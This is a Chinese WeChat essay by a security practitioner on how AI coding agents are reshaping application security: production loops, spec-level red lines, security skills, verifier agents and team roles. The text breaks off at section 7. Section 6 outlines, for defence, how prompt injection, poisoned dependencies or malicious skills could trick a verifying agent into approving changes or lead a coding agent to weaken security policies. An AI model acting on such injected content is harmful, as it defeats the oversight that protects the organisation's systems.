  <div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">最后一代应用安全工程师的自白</span></h1><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">作者简介</span></strong><span leaf="">：Max Luo（罗棋琛），加密货币交易所 AI 安全与自动化负责人，13 年安全从业经验，深耕 Web3 安全 / 安全运营与反入侵 / 内部威胁与防泄漏 / 应用安全。历任 SHEIN AI 安全中台、应用安全、安全 BP、红队等多个全球职能负责人，主导各体系从 0 到 1 建设，支撑全球化业务。开源书籍《AISecOps：AI 驱动的安全体系》作者，持有 OSCE3 等认证。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">微信：neteyes | 公众号：白帽子罗棋琛 ｜ GitHub：cybermaxluo </span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">标题里的&#34;最后一代&#34;，不是说人要失业，是&#34;应用安全工程师&#34;这个岗位形态，到我们这一代为止。我自己做了多年应用安全体系建设，SDL、DevSecOps、安全 BP 这套体系在真实业务里一层层落地实践过，去年还把它写成了一篇《互联网跨境企业应用安全架构指南》，从业务需求层一直写到运营服务层。这篇算自白，也算判断：要宣布走到头的，正是我自己践行多年、去年刚写完的那套体系。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上一篇<a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485094&amp;idx=1&amp;sn=e5730c8ccb659ed4988d04d182f92792&amp;scene=21#wechat_redirect" textvalue="《下一代 AI SOC 长什么样：SOC 版的 Codex》" data-itemshowtype="0" linktype="text" data-linktype="2">《下一代 AI SOC 长什么样：SOC 版的 Codex》</a>讲的是安全运营：对话取代工单，三线并成一岗，Agent 承担研判，人保留高风险审批。这一篇讲研发侧的同一场变化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">出发点还是同一个判断：软件生产的主体，正在从人变成 Agent。对应用安全（AppSec）来说，这个变化动的不是安全团队自己的工具，而是安全所依附的对象，也就是整个软件生产体系。地基动了，上面的房子要跟着动。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">结论不卖关子：下一代应用安全不再是研发流程外面的一道道检查，而是软件生产系统里内生的安全能力。Security Agent 和 Coding Agent 一起跑在生产循环里，人从执行安全上移到治理安全：划定红线、管理权限、审批高风险、度量质量。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5231481481481481" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001457" src="https://wechat2rss.xlab.app/img-proxy/?k=081d9e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP851fmnGjic6HLAndTBOZpy42GuWxoKPWLuALdCxx0GYtH10y2lDFnb0zGHpS9vfqpQQibdnXQpMpDGm9ruU7XvRxe44PBoJvMAtrY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf="">这场变化是有传导顺序的：生产体系先变，协作流程跟着变，然后依次传导到安全的工作模式和组织架构，存量工具的命运随之而定。下文就按这个顺序展开，最后讲应用安全从业者当下该做什么、未来往哪走。</span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">1、上一代应用安全是围绕&#34;人生产软件&#34;设计的</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把应用安全的日常拆开看：安全评审要开会，代码审计要排期，SAST 告警要人确认，漏洞要提单、催修、复测，研发侧要设安全接口人、做安全培训，上线前要过安全门禁。这些制度长相各异，可都默认了同一个前提：软件由人生产，安全靠人审查。从微软的 SDL 到 SSDLC 再到 DevSecOps，二十年其实都在把安全往&#34;人生产软件&#34;的流程里嵌。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再往下拆一层，CI/CD 也是在&#34;人生产软件&#34;这个前提上做提效，属于旧架构的正常演进。Commit、Branch、PR、Approval，这套词汇诞生在人类协同开发的年代：人写代码，人提交，人评审，人合并，人批准发布。机器执行了很多步骤，但整个系统的调度者始终是人。DevSecOps 把能规则化的检查塞进了流水线，发现高危就阻断，发现密钥就拦截，可它自动化的是动作，不是判断。这个接口该不该有这个权限、这次改动有没有破坏租户隔离，还是要找人。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">归根结底，稀缺的是人。安全专家就那么几个，一天审不了几个系统，招人也追不上研发的产出速度，于是只能分级：高价值的业务优先投入、认真审，其余扫描器兜底，剩下的只能先欠着，积成安全债。这套设计跟它的年代是配套的：软件由人生产，安全就只能围绕人来做。现在变的，正是这个前提。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">2、生产体系之变：流水线让位于生产循环</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一个工程师可以同时驱动几个 Coding Agent 并行开发，代码产量不再受人的编码速度限制。Anthropic 公开过一个数字：截至 2026 年 5 月，合入他们自家代码库的代码，超过八成由 Claude 编写，合入前仍要过评审门禁。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">于是一个新的速度差出现了：生产是机器级的，审查是人力级的。继续逐行人审，等于用人的速度给机器的速度设上限，结局要么是安全成为交付瓶颈被绕过去，要么是评审流于形式。出路不是取消人审，是换掉人审的对象和粒度：人不再看每一行代码，看红线、看证据、看高风险结论，后文工作模式一节展开。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">跟不上的不只是评审，还有流水线的形态本身。流水线是预先画好的路径：Commit 之后构建，构建之后测试，A 完成后执行 B。Agent 拿到的是一个目标，比如&#34;实现退款功能&#34;，它会自己规划、并行尝试几种方案、测试、比较、推倒重来。流水线回答的是&#34;下一步固定做什么&#34;，Agent 回答的是&#34;按当前状态，下一步该做什么&#34;。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但 CI/CD 不会消失。Agent 擅长理解、规划、判断，流水线擅长确定性执行：构建、测试、签名、门禁、部署，这些恰恰必须可重复、可审计。合理的分工是 Agent 当大脑，CI/CD 当手脚，策略引擎当缰绳，Git 和证据库当账本。CI/CD 从&#34;人的发布流程&#34;，下沉为&#34;Agent 的确定性执行底座&#34;。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这套新的生产形态不是推演，已经有了成体系的样板。还是 Anthropic，他们发布的 AI-Native SDLC 实践指南把软件生产重排成 Plan、Design、Build、Test、Deploy、Maintain 六个阶段，整份指南贯穿一条主线：每个阶段结束时，向版本库写入一个结构化产物，下一个阶段读取它。需求写成 intent.md，设计落成 spec.md，实施方案是 plan.md，然后是代码、带评审结论的 PR，生产事故的记录最后又写回 intent.md，触发新一轮循环。协作的载体从会议、工单和口头同步，变成 Git 里的一条产物链；提交链本身就是审计记录，谁提了需求、Agent 产出了什么、谁批准的，全在版本历史里。它的出发点也直白：代码已经不是瓶颈，瓶颈挪到了代码左右两边，规划、评审、部署这些环节还跑在人的速度上。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把这几层放在一起：传统应用安全不是被 AI 优化了，是走到头了。它今天还有需求、还有价值，是因为大多数组织的 DevOps 和 CI/CD 还是旧的生产体系，安全只能跟着在旧模式上修修补补。生产体系换代到哪一步，旧模式的价值就消解到哪一步。这个换代不会齐步走：AI 原生公司和头部互联网两三年内就会走完，多数科技公司要五年，金融和政企可能十年；而且大厂里大量存量系统不会进入新循环，新旧双轨并行不是过渡期，是未来很多年的常态。所以接下来的每一分投入都要想清楚：是在给旧体系续命，还是在给新体系建地基。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个判断对安全厂商同样成立，但要说准范围：压力最大的，是以检测能力为卖点的业务，通用的检测和修复能力在向 harness 集中，以人工工作台为核心的产品形态会越来越难卖；以合规背书为卖点的业务要稳得多：测评报告、第三方出具的检测证明，企业买的是资质和责任背书，harness 替代不了。而厂商新的结构性机会，就藏在同一场变化里：harness 内置的安全评审，本质是厂商在检查自己生产体系的输出，市场迟早需要独立的第三方来做验证——财报不能自己审自己，所以有了四大。跨 harness 的独立验证、统一评估和审计，就是一门天然的第三方生意。给 Agent 当数据源和执行器是过渡期的角色，做独立裁判才能长期立足。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">3、协作流程之变：人靠工具协作，Agent 靠状态协作</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Jira、PR、评审会、周会，这些东西存在的理由是人和人之间需要传递信息、对齐状态。Agent 之间不再主要靠提单和排期，它们通过共享的上下文、状态、证据和策略直接协作。安全和研发之间那堵墙，你提单我排期、你催修我复测，会先于组织架构消失。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">安全在生产循环里的位置也跟着变。过去安全是流水线里的一个环节，代码写完才轮到它出场；以后它是常驻生产循环的一个角色：设计变了自动重做威胁建模，权限变了自动重查授权边界，依赖变了自动重查供应链。有意思的是，做了十几年的安全左移（Shift Left），反而是在这一步做成了：以前的左移，移的是检查和培训，无论怎么左移，安全还是研发之外的一道工序；现在红线写进 spec，安全 skill 直接参与生成代码，代码生下来就带着安全，左移一路移到了生成本身。这才是真正意义上的安全左移——左无可左，安全不再分左右，而是内生（Secure by design）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Anthropic 这份指南值得每个应用安全团队仔细研读，因为它大概率就是下一代软件生产体系的雏形，而它给安全的方向指引就藏在这条产物链里：安全策略编码成 skill，在设计阶段就参与生成 spec；hooks 在构建阶段拦截危险操作；部署门禁要求具名审批，分支保护禁止 Agent 给自己放行；运维阶段的 Agent 只能在预授权的分级里行动。照这个形态推演，安全的输入输出也必须变成链上的版本化产物：红线进 spec，上下文供 Agent 读取，评审产出结构化证据，漏洞复盘的教训写回 intent.md、约束下一轮生成。安全不把自己的交付物改造成这个形态，就接不进下一代生产体系：还写在会议纪要和工单里的安全要求，从 Agent 的视角看起来太低效，远跟不上机器速度。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">4、工作模式之变：从审代码到治理 Agent</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">应用安全的工作模式，跟所有业务一样会沿着通用路径走：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">自己审 → 构建 Agent 审 → 监督 Agent 审 → 治理 Agent 的自治权。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">特殊的地方在第二、三段：通用的 Security Agent，最早不是甲方或乙方企业构建出来的，而是大模型厂商先构建出来的。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">厂商自己既是大规模的 AI Coding 使用方，也是软件生产体系变革方，必然最早遇到 AI 代码安全问题。八成代码由模型生成，&#34;谁来审 Agent 写的代码&#34;这个问题，他们必须最先回答。所以这类能力最早从厂商长出来，然后直接内置进 harness：Claude Code 自带安全评审，hooks 和权限管控是出厂能力；OpenAI 把 Codex Security 立成产品方向，定位就是理解整个代码库上下文、发现复杂漏洞、给出高置信修复。通用的&#34;审代码&#34;能力，会成为生产工具的默认配置。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">企业要构建和监督的，是厂商永远替不了的那部分：你的红线、你的上下文、你家业务的漏洞模式、你的评估集。通用能力可以等厂商内置，业务判断得自己蒸馏。国内还有一层现实：受数据安全和合规约束，很多企业用不了境外 harness，走的是私有化模型加自研或国产 harness 的路线，内置的安全评审能力可能要弱上一到两代。分工的方向不变，但&#34;等厂商&#34;的那部分，国内团队短期要自己多补一块通用能力，这部分要提前规划。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48935185185185187" data-s="300,640" data-type="png" data-w="2160" type="block" data-imgfileid="100001459" src="https://wechat2rss.xlab.app/img-proxy/?k=e3cea972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP850twvaickicARsknDHnUDxliaGTXEAF1f1hlDIbjRk8x3T0OiaQ7rjXomDDQR9DyQx00Tf4lJYLtNIxEEUEcQFyjibGXNWSbp1bpkS8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.1 构建 Agent 审：蒸馏的是业务判断</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">harness 出厂就会审 SQL 注入这类通用漏洞，审不出来的是你的业务：谁能看谁的订单，哪笔资金状态不可逆，哪些身份不能组合。所以企业要构建的不是 Agent 本体，是喂给 Agent 的业务判断。以前发现一个越权漏洞：提单、修复、关闭，经验留在发现它的那个人脑子里。现在的做法是：修完之后提炼漏洞模式，写成 skill，生成对应测试，加进评估集，让 Agent 回扫历史代码，后续的 Coding Agent 自动避免同类写法。一个高级工程师的价值，从&#34;我发现了一百个漏洞&#34;，变成&#34;我把二十类业务漏洞变成了组织自动预防、发现、修复的能力&#34;。这就是蒸馏：把工程师的经验判断，蒸馏成所有 Agent 都能用的系统能力。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.2 从找漏洞到制定安全红线</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Agent 写代码之后，安全要求的表达方式也要上移。&#34;不能有 SQL 注入&#34;是漏洞规则；&#34;用户 A 永远不能读到用户 B 的订单&#34;&#34;任何单一身份不能同时完成资金审批和执行&#34;是安全红线（国外文献叫 Security Invariant）。Agent 的实现可以有无数种，人管不住每一种写法，管得住的是无论怎么实现都不许越过的线。红线落地，贯穿事前、事中、事后：事前，红线写进 spec，让所有 Agent 看得见，高风险域再用架构约束兜底，租户隔离、统一授权这些事不指望模型自觉；事中，策略引擎和 hooks 实时拦截，越线的操作当场挡下；事后，Security Agent 持续审计，找违例、做溯源。审计只能发现违规，保证不了不违规，所以核心的保障在事前。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.3 监督 Agent 审：人看风险，Agent 看代码</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">人不再逐行看代码，改为抽检结论、纠偏误判，用质量数据去迭代 skill 和知识库；注意力上移到业务意图、权限变化、信任边界和最大损失上。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.4 治理自治权：内置的能力也要独立验证</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">治理的对象一共三层：生产软件的那群 Agent，写代码的、做测试的、发部署的；内置在 harness 里的安全能力本身；还有承载它们的运行时，身份、凭据、工具、MCP。这三层都要纳入应用安全的治理范围。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不能让写代码的 Agent 自己批准自己上线。开发、测试、运维的职责分离是上一代的制度设计；生成 Agent、验证 Agent、审批主体的分离是这一代的。这一代还多了个新难点：生成方和验证方如果跑在同一个模型家族上，盲区是相关的，一边看不见的东西另一边多半也看不见。缓解要靠异构模型：让不同家族的模型交叉挑战、互相裁决，或者多模型独立研判再汇总。但提示词注入防御得靠确定性检查和架构约束。所以身份、权限、资金、多租户这些高风险域，多模型交叉挑战验证和确定性检查都要配上，最后一道审批留给人。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对厂商内置的能力，原则是出厂不等于可信。harness 自带的安全评审，本质是厂商在检查自己生产体系的输出，运动员不能兼裁判，验收方只能是企业：先过你自己的评估集，之后每次模型升级、能力更新，都拿历史漏洞和业务红线回归一遍，数据合格才放权。企业可以不构建通用能力，但验收权和放权的开关必须在自己手里。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以执行可以全部交给 Agent，治理却交不出去：出了事签字的是企业，不是模型厂商，也不是 Agent。正因为签字的是你，红线才必须你来划，验收才必须你来做，放权的开关才必须握在你手里——治理，就是责任落到工程上的样子。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.5 每块业务都在换形态</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把应用安全的业务一块块过，没有一块能保持原样。而且每块变出来的分工都一样：通用的检测、验证、修复能力，越来越多由 harness 和安全工具原生提供；企业的角色是喂上下文、划红线、补业务漏洞模式，然后盯质量。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">威胁建模，以前是立项时开一次评审会、画一次数据流图，之后架构改了也很少有人重画；以后设计一变，Agent 自动重建模型、重查信任边界，威胁建模从一次性活动变成持续状态，自动重建模的质量，取决于你喂的上下文和红线。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">安全评审，以前评的是方案文档，质量取决于到场专家的经验；以后评审的输入是红线加上下文，常规校验自动完成，专家只出现在高风险的架构决策上。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">代码审计，以前扫描器能做周期全量、发版增量的扫描，但误报噪音大，业务逻辑类漏洞看不见；人看得懂业务，却只能覆盖少数高价值业务。以后 Agent 两头都占：全量审，通用漏洞靠 harness 出厂的评审能力，业务漏洞靠自家蒸馏的 skill，人工只复核高风险结论。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工具运营，SAST/SCA 告警以前人工确认、提单、催修；以后 Agent 去重、验证、能复现的给出利用证据，能修的直接产出补丁交给验证 Agent，人看的是结论和质量数据。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">渗透测试，以前一年一两轮、靠外包和红队排期；以后攻击型 Agent 常态化跑，重要变更都可以打一轮。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">漏洞管理，工单流转降级成账本，修复在 Agent 之间闭环，人管理的是逃逸率和错误放行率；没人天天盯工单了，但记录反而要比以前更全，出了事定责、做合规审计，还要从账本取证。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">5、组织架构之变：从评审团队到治理团队</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">团队定位从安全评审团队，变成安全能力工程团队。工程的对象不是再建一个安全平台，而是要提供给所有 Agent 的业务资产：上下文、红线、skill、评估集。KPI 也得重新制定：发现多少漏洞、关闭多少工单、评审了多少项目，度量的是人的产出；能力覆盖率、自治率、人工介入率、历史漏洞转化成 skill 和评估集的比例、高风险错误放行率，这些核心指标度量的是系统的能力。旧指标不换，团队一定被锁在旧模式里无法交付有效价值。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">安全接口人的定位也变了。国内叫接口人或安全 BP，欧美叫 Security Champion，本质都是在研发团队里放一个懂点安全的人。&#34;这个漏洞怎么修&#34;这类问题 Agent 答得比人快，这个角色的价值不再是传播安全知识，而是维护本业务域的安全意图：支付团队的接口人负责说清楚哪些资金状态不可逆、什么操作必须双重授权、什么身份不能组合，然后让 Agent 去执行。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再往未来进一步推导：当安全 skill、红线、hooks 都内置进 Coding Agent 的默认行为，写代码的同时就把安全问题消化掉了，今天这种守在流程边上的应用安全团队可能就不存在了。不是安全没人管，是&#34;审应用的人&#34;这个形态消失了。留下来的活只有两类：一类是生产安全能力，红线、skill、评估集，喂给所有 Agent 用；一类是治理生产软件的 Agent 体系，身份、权限、验证、责任。岗位的名字大概也会跟着换：应用安全工程师，可能会变成 Agent 应用安全工程师或者 Agent 安全架构师，保护的对象从应用，换成了生产应用的 Agent。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而且保护对象不会停在&#34;生产应用的 Agent&#34;上，应用本身也在 Agent 化：未来研发交付的，很多就是一个个业务 Agent，接客服的、审额度的、调库存的。给这些业务 Agent 做安全架构和安全设计，会成为这个岗位最核心的技术工作：身份怎么发、权限怎么划、工具和数据的边界在哪、Agent 之间的调用怎么受控、出错时怎么止损。代码层的安全问题在生产循环里被内生消化，人的关注点整体再上移一层：从审代码，变成设计安全架构、审核设计和设计跑出来的结果。上一代工程师值钱在看得懂代码里的漏洞，下一代值钱在设计得出让 Agent 越不了界的权限架构。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">6、工具平台之变：沉下去的，和长出来的</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">SAST、SCA、DAST、Secrets、IaC 都不消失，但下沉分两步，路径也各不相同。过渡阶段，它们从安全工程师每天登录的平台，降级为 Agent 的数据源和执行器：Agent 通过 API 调用扫描、读取结果、驱动处置，工具自带的控制台和工作流不再是工作面。生产体系换代完成后，再往下走一步：理解和判断类的能力，SAST 的语义检测、代码评审、渗透的攻击逻辑，会被 harness 的内生安全能力吸收，作为独立产品的意义随之消失；必须确定性的部分，密钥检测、依赖清单、IaC 策略校验、签名和门禁，以 hooks 和策略的形态长进流水线，成为执行底座的一部分。以人工控制台和告警运营为核心的平台形态，会就此衰落。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">沉下去之后，上面长出属于企业自己的一层安全资产：安全上下文（这个服务是谁的、暴不暴露在互联网、涉不涉及资金、历史上出过什么安全事件，Agent 的判断质量取决于它知道多少，而不只是模型多强）、安全红线、安全 skill、评估集、Agent 的身份与权限、风险策略。上下文的价值，一个场景就能看清：同样一个 PR，没有上下文的 Agent 看到的是三百行改动；有上下文的 Agent 知道这是支付系统的退款接口，互联网可达，涉及资金，调用方是商户身份，这个模块历史上出过越权漏洞。两种输入，研判质量差一个量级。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这层资产的载体不是某个安全平台，就是版本库本身：红线是 spec 里的约束，skill 和评估集是仓库里的文件，跟代码一起提交、一起回滚、一起审计。模型会换，harness 会换，这层资产沉淀在企业内部。这里有个分类前提：把&#34;源&#34;和&#34;编译产物&#34;分开管。漏洞模式的描述、历史案例、评估用例是源，不挑形态；写成某家 skill、hooks 的具体文件是编译产物，跟着 harness 走。源在自己手里，换 harness 只是重新编译一遍。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">应用安全还要重点保障的，是生产软件的系统本身。攻击者控制了 Coding Agent——提示词注入、投毒依赖、污染上下文、恶意 MCP、恶意 skill——就不需要直接攻击生产系统，他攻击的是&#34;生产生产系统的系统&#34;。Agent 的身份、权限、记忆、工具、凭据，都是新的攻击面，也都要纳入保护范围。harness 和模型的供应链本身也得算上：能力越是集中到厂商，厂商一旦被攻破，波及面就越大，这也是高风险域要保留多厂商模型验证和确定性兜底的另一个理由。其中最容易被忽略的两处：一是验证环节本身可以被注入，Security Agent 读的代码、注释、依赖包的 README 全是攻击者可控的输入，专门骗验证 Agent 放行的 payload 一定会出现；二是安全资产进了版本库之后，仓库写权限就等于安全策略写权限，被注入的 Coding Agent 可以顺手把红线改宽、把评估集污染掉。所以策略变更的权限必须严于代码变更：红线和评估集走独立的保护路径，改它们必须过人审。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">7、当下该做什么</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 